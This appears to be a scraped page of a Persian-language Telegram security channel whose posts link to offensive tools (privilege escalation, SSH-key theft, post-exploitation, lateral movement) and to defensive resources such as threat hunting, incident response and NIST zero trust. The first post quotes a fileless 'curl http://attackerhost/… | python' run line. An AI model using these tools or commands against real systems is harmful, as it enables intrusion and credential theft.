NEW BOT Телеграм, страница

Network Security Channel

⭕️ به منظور خودکارسازی فرایند Privesc در سیستم های لینوکس و یونیکس، یک ابزار توسعه داده شده است که در دسته‌بندی Missconfig های setuid/setgid و sudo permission ها و ... تمرکز دارد. این ابزار عمدتاً برای مسابقات CTF طراحی شده است، اما در محیط های واقعی نیز قابل استفاده است.

Features

Automatically exploit misconfigured sudo permissions.
Automatically exploit misconfigured suid, sgid permissions.
Automatically exploit misconfigured capabilities.
Automatically convert arbitrary file read primitive into shell by stealing SSH keys.
Automatically convert arbitrary file write primitive into shell by dropping SSH keys.
Automatically convert arbitrary file write primitive into shell by writing to cron.
Automatically convert arbitrary file write primitive into shell using LD_PRELOAD.
Single file, easy to run fileless with curl http://attackerhost/gtfonow.py | python

#RedTeam #Privesc #bypass
@Engineer_Computer

GitHub

GitHub - Frissi0n/GTFONow: Automatic privilege escalation for misconfigured capabilities, sudo and suid binaries using GTFOBins.

Automatic privilege escalation for misconfigured capabilities, sudo and suid binaries using GTFOBins. - Frissi0n/GTFONow

206 views21:23

Network Security Channel

🔸برنامه سبک ساده و سریع پروکسی ساکس برای ترمینال و برنامه‌های ترمینالی
🔹بدون نیاز به سرویس

♦️برای اتصال به نکوری:

sudo vi /etc/proxychains.conf

خط آخر پورت را به 2080 تغییر دهید.

socks4  127.0.0.1 2080

شیوه‌ی کار:

proxychains COMMAND

لینک‌ها:
👉🔗 Github
👉🔗 Arch Extra Repo
👉🔗 Wiki

#نکته #لینوکس #معرفی #آموزش
@Engineer_Computer

GitHub

GitHub - rofl0r/proxychains-ng: proxychains ng (new generation) - a preloader which hooks calls to sockets in dynamically linked…

proxychains ng (new generation) - a preloader which hooks calls to sockets in dynamically linked programs and redirects it through one or more socks/http proxies. continuation of the unmaintained p...

195 views21:23

Network Security Channel

https://detect.fyi/threat-hunting-suspicious-windows-service-names-2f0dceea204c

برای هانترها و متخصصان SOC

Medium

Threat Hunting - Suspicious Windows Services

Simulation and Detection

182 views21:24

Network Security Channel

آسیب پذیری خطرناک در ویندوز
وصله کنید

@Engineer_Computer
a Windows Kerberos security feature bypass vulnerability that allows attackers to bypass authentication mechanisms and launch impersonation attacks. Attackers can exploit this flaw via a machine-in-the-middle (MitM) attack.

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20674

180 views21:24

Network Security Channel

اینطور هست که اطلاعات حساس از برنامه های اندروئید بیرون کشیده می‌شوند

@Engineer_Computer

https://github.com/effortlessdevsec/ApkRecon

GitHub

GitHub - effortlessdevsec/ApkRecon: Scanning APK file for URIs, endpoints & secrets.

Scanning APK file for URIs, endpoints & secrets. Contribute to effortlessdevsec/ApkRecon development by creating an account on GitHub.

206 views21:24

Network Security Channel

تمرین

مدیریت حادثه با پاورشل
با یک ویروس نمونه

@Engineer_Computer

https://www.securityinbits.com/incident-response/powershell-commands-for-incident-response/

Securityinbits

PowerShell Commands for Incident Response - Securityinbits

We will learn different PowerShell Commands can be used in Incident Response to remediate the machine. I will take a scenario where a machine is infected with NanoCore malware to explain this PowerShell Commands.

213 views21:24

Network Security Channel

Pentesting Checklist.pdf

1001.3 KB

Pentesting Checklist
@Engineer_Computer

239 views21:26

Network Security Channel

https://github.com/blackarrowsec/Handly

@Engineer_Computer

GitHub

GitHub - blackarrowsec/Handly: Abuse leaked token handles.

Abuse leaked token handles. Contribute to blackarrowsec/Handly development by creating an account on GitHub.

196 views08:14

Network Security Channel

https://github.com/The-Login/SMTP-Smuggling-Tools

@Engineer_Computer

GitHub

GitHub - The-Login/SMTP-Smuggling-Tools: Tools for finding SMTP smuggling vulnerabilities.

Tools for finding SMTP smuggling vulnerabilities. Contribute to The-Login/SMTP-Smuggling-Tools development by creating an account on GitHub.

196 views08:14

Network Security Channel

ios PPL bypass
https://github.com/zhuxinlang/zhuxinlang.github.io/blob/main/GPU_CoreSight.m

@Engineer_Computer

GitHub

zhuxinlang.github.io/GPU_CoreSight.m at main · zhuxinlang/zhuxinlang.github.io

Contribute to zhuxinlang/zhuxinlang.github.io development by creating an account on GitHub.

166 views08:14

Network Security Channel

https://github.com/BC-SECURITY/Moriarty

@Engineer_Computer

GitHub

GitHub - BC-SECURITY/Moriarty: Moriarty is designed to enumerate missing KBs, detect various vulnerabilities, and suggest potential…

Moriarty is designed to enumerate missing KBs, detect various vulnerabilities, and suggest potential exploits for Privilege Escalation in Windows environments. - GitHub - BC-SECURITY/Moriarty: Mor...

169 views08:14

Network Security Channel

https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook

@Engineer_Computer

GitHub

GitHub - nickvourd/Windows-Local-Privilege-Escalation-Cookbook: Windows Local Privilege Escalation Cookbook

Windows Local Privilege Escalation Cookbook. Contribute to nickvourd/Windows-Local-Privilege-Escalation-Cookbook development by creating an account on GitHub.

203 views08:14

Network Security Channel

https://github.com/evild3ad/Collect-MemoryDump

@Engineer_Computer

GitHub

GitHub - LETHAL-FORENSICS/Collect-MemoryDump: Collect-MemoryDump - Automated Creation of Windows Memory Snapshots for DFIR

Collect-MemoryDump - Automated Creation of Windows Memory Snapshots for DFIR - LETHAL-FORENSICS/Collect-MemoryDump

216 views08:14

Network Security Channel

https://github.com/ine-labs/ThreatSeeker

@Engineer_Computer

GitHub

GitHub - ine-labs/ThreatSeeker: ThreatSeeker: Threat Hunting via Windows Event Logs

ThreatSeeker: Threat Hunting via Windows Event Logs - ine-labs/ThreatSeeker

239 views08:14

Network Security Channel

https://github.com/MegaManSec/SSH-Snake

@Engineer_Computer

GitHub

GitHub - MegaManSec/SSH-Snake: SSH-Snake is a self-propagating, self-replicating, file-less noscript that automates the post-exploitation…

SSH-Snake is a self-propagating, self-replicating, file-less noscript that automates the post-exploitation task of SSH private key and host discovery. - MegaManSec/SSH-Snake

892 views08:14

Network Security Channel

NIST.SP.800-207.pdf

944.2 KB

استاندارد NIST در مورد زیرو تراست
@Engineer_Computer

983 views12:52

Network Security Channel

کانال یوتیوب برای آموزش رایگان امنیت سیستم های کنترل صنعتی

@Engineer_Computer
از افزونه های هوش مصنوعی و زیر نویس برای درک بیشتر کمک بگیرید

** یکی از افزونه های جالب ، خلاصه نویس ویدئو میباشد که کمک میکند در اولین نگاه ، کلیت ویدئو بدستتان بیاید

https://m.youtube.com/channel/UCKO03V8KB-kgWedXTFdaEHA?cbrd=1

283 views20:57

Network Security Channel

دو نکته را در لینک زیر بیابید:

استفاده از سرویس به روزرسانی ویندوز برای تکمیل زنجیره حمله
نحوه و روش‌های تشخیص گروه‌های APT که انجام دهنده نفوذ هستند ( دلایل انتساب ویروس و حمله به APT خاص)

@Engineer_Computer

https://thehackernews.com/2022/01/north-korean-hackers-using-windows.html?m=1

266 views20:57

Network Security Channel

مقاله ای دارای امتیاز آموزشی برای دارندگان مدرک از سازمان ISC2

@Engineer_Computer

https://sosafe-awareness.com/resources/reports/the-biggest-challenges-for-security-leaders/?utm_term=cyber%20challenges&utm_campaign=DACH_EN_Non-branded_Q12023&utm_source=googlesearch&utm_medium=paid&hsa_acc=2315609737&hsa_cam=19642365313&hsa_grp=150586726490&hsa_ad=679712642136&hsa_src=g&hsa_tgt=kwd-298672121030&hsa_kw=cyber%20challenges&hsa_mt=b&hsa_net=adwords&hsa_ver=3&gad_source=1&gclid=Cj0KCQiAwP6sBhDAARIsAPfK_wZQZemuY-9le45dGMrVbL6oLYa9a8oeYaCEjWfonng8iy4-vC_AJzsaApRUEALw_wcB

SoSafe

The Biggest Challenges for Security Leaders | White Paper

Join top cyber experts in our latest white paper, shaping the future of cybersecurity with valuable insights. Read now.

276 views20:57

Network Security Channel

فریم ورک برای عمق بخشیدن به نفوذ بدون نیاز به نصب ابزار - اجرا در حافظه

@Engineer_Computer
Command Execution over Named-Pipes (SMB)

https://github.com/Leo4j/Amnesiac

GitHub

GitHub - Leo4j/Amnesiac: Amnesiac is a post-exploitation framework entirely written in PowerShell and designed to assist with lateral…

Amnesiac is a post-exploitation framework entirely written in PowerShell and designed to assist with lateral movement within Active Directory environments - Leo4j/Amnesiac

300 views20:57

Network Security Channel

معماران امنیت بخوانند

@Engineer_Computer
Threat Modeling is critical to achieving design goals for system security and data privacy.

This document provides a catalog of capabilities to help you cultivate value from your Threat Modeling practice.

https://www.threatmodelingmanifesto.org/capabilities/

www.threatmodelingmanifesto.org

Threat Modeling Capabilities

Documents a catalog of capabilities to help you cultivate value from your Threat Modeling practice.

314 views20:57

About

Blog

Apps

Platform